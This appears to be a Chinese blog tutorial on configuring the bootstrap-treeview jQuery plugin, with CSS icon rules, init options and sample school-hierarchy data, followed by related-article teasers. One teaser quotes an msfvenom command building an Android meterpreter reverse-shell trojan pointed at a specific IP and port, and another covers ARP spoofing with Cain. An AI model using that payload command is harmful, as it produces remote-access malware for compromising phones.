1、html部分:

<div id="tree"></div>

2、css设置展开/收缩按钮图片:

.tree_arrows_down:before{
content:url("../img/down.png");
} .tree_arrows_right:before{
content:url("../img/right.png");
}

3、js部分实现:

$('#tree').treeview({
data: treeData,
expandIcon: "tree_arrows_right",
collapseIcon: "tree_arrows_down",
levels : 3,
onhoverColor: "#E8E8E8",
showBorder: false,
showTags: true,
highlightSelected: true,
highlightSearchResults:false,
selectedBackColor: "#8D9CAA",
});

4、数据(treeData)格式:

var treeData =[
{
text: "第一中学",
nodes: [
{
text: "高一年级",
nodes: [
{
text: "一班",
nodes: [
{
text: "三组",//
}
]
}
]
},
{
text: "高二年级",
nodes: [
{
text: "一班",
nodes: [
{
text: "一组",
}
]
}
]
},
{
text: "高三年级",
nodes: []
}
]
}
];

5、样式展现:

bootstrap---treeview使用方法的更多相关文章

  1. bootstrap的treeview使用方法

    首先引入文件: <link href="./css/bootstrap.css" rel="stylesheet"> <script src= ...

  2. Bootstrap treeview增加或者删除节点

    参考(AddNode: http://blog.csdn.net/qq_25628235/article/details/51719917,deleteNode:http://blog.csdn.ne ...

  3. 让IE6 IE7 IE8 IE9 IE10 IE11支持Bootstrap的解决方法--(转)

    如有雷同,不胜荣幸,若转载,请注明 让IE6 IE7 IE8 IE9 IE10 IE11支持Bootstrap的解决方法 最近做一个Web网站,之前一直觉得bootstrap非常好,这次使用了boot ...

  4. 初始化bootstrap treeview树节点

    最近在做启明星图库时,使用了Jquery Bootstrap  Treeview插件.但是,遇到了一个初始化的问题.先看效果如下: 当用户打开图库时,左边分类第一个类别是“所有分类”,默认需要选中. ...

  5. WPF中TreeView.BringIntoView方法的替代方案

    原文:WPF中TreeView.BringIntoView方法的替代方案 WPF中TreeView.BringIntoView方法的替代方案 周银辉 WPF中TreeView.BringIntoVie ...

  6. 转载 JS组件Bootstrap Select2使用方法详解

    JS组件Bootstrap Select2使用方法详解 作者:懒得安分 字体:[增加 减小] 类型:转载 时间:2016-01-26我要评论 这篇文章主要为大家介绍了JS组件Bootstrap Sel ...

  7. 转载------让IE6 IE7 IE8 IE9 IE10 IE11支持Bootstrap的解决方法

    本文是转载及收藏 让IE6 IE7 IE8 IE9 IE10 IE11支持Bootstrap的解决方法 最近做一个Web网站,之前一直觉得bootstrap非常好,这次使用了bootstrap3,在c ...

  8. Bootstrap Table使用方法详解

    http://www.jb51.net/article/89573.htm bootstrap-table使用总结 bootstrap-table是在bootstrap-table的基础上写出来的,专 ...

  9. bootstrap支持ie8 让IE6 IE7 IE8 IE9 IE10 IE11支持Bootstrap的解决方法

    做一个在线系统,PC端也要做,但要兼容千恶的IE8[IE6 是万恶,打死我都不会管IE6],IE8 是我底线了md, 在IE8下 bottstrap 错乱,变形,不支持一些属性的问题,下面看了一篇 某 ...

  10. 让IE6 IE7 IE8 IE9 IE10 IE11支持Bootstrap的解决方法

    首先需要确保你的HTML页面开始部分要有DOCTYPE声明.DOCTYPE告诉浏览器使用什么样的HTML或XHTML规范来解析HTML文档,具体会影响:对标记attributes .propertie ...

随机推荐

  1. msfconsole弄外网手机木马

    创建个通道./ngrok tcp 1113 msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.62.13 LPORT=17016 R &g ...

  2. cain使用方法

    首先安装cain,这里就不废话了 1, 选择中核弹标志左边的按一下,然后在sniffer右键点击第一个扫描内网所有ip 扫描完后选择网关的IP下面选择arp标志,在按一下上方空格处,+号变得可以使用了 ...

  3. MATLAB学习笔记

    魔方矩阵(magic(阶数)) 魔方矩阵又称幻方,是有相同的行数和列数,并在每行每列.对角线上的和都相等的矩阵.魔方矩阵中的每个元素不能相同.你能构造任何大小(除了2x2)的魔方矩阵. 希尔伯特矩阵( ...

  4. CodeForces731-C.Socks-并查集

    C. Socks time limit per test 2 seconds memory limit per test 256 megabytes input standard input outp ...

  5. 状压dp入门第一题 poj3254

    题目链接 http://poj.org/problem?id=3254 转自http://blog.csdn.net/harrypoirot/article/details/23163485 #inc ...

  6. c语言基础学习07_关于指针的复习

    ============================================================================= 指针变量之间赋值是需要兼容的. 例如:int ...

  7. spring中用到的设计模式

    http://www.cnblogs.com/pengmengnan/p/6717766.html 一 : 工厂模式工厂模式主要是为创建对象提供过度接口,以便将创建对象的具体 过程屏蔽隔离起来,达到提 ...

  8. [学习OpenCV攻略][017][ARM9下移植OpenCV]

    安装环境 宿主机: Red Hat Enterprise Linux Server 6.3 开发板: mini2440 相关软件: cmake-3.5.1.tar.gz.OpenCV-2.3.1a.t ...

  9. Spark算子--mapValues

    转载请标明出处http://www.cnblogs.com/haozhengfei/p/ccc9d6b5c46ac7209c1e104bd219bfb4.html mapValues--Transfo ...

  10. 解决不同操作系统下git换行符一致性问题

    一.不同操系统下的换行符CR回车 LF换行Windows/Dos CRLF \r\nLinux/Unix LF \nMacOS CR \r二.解决方法 打卡git bash,设置core.autocr ...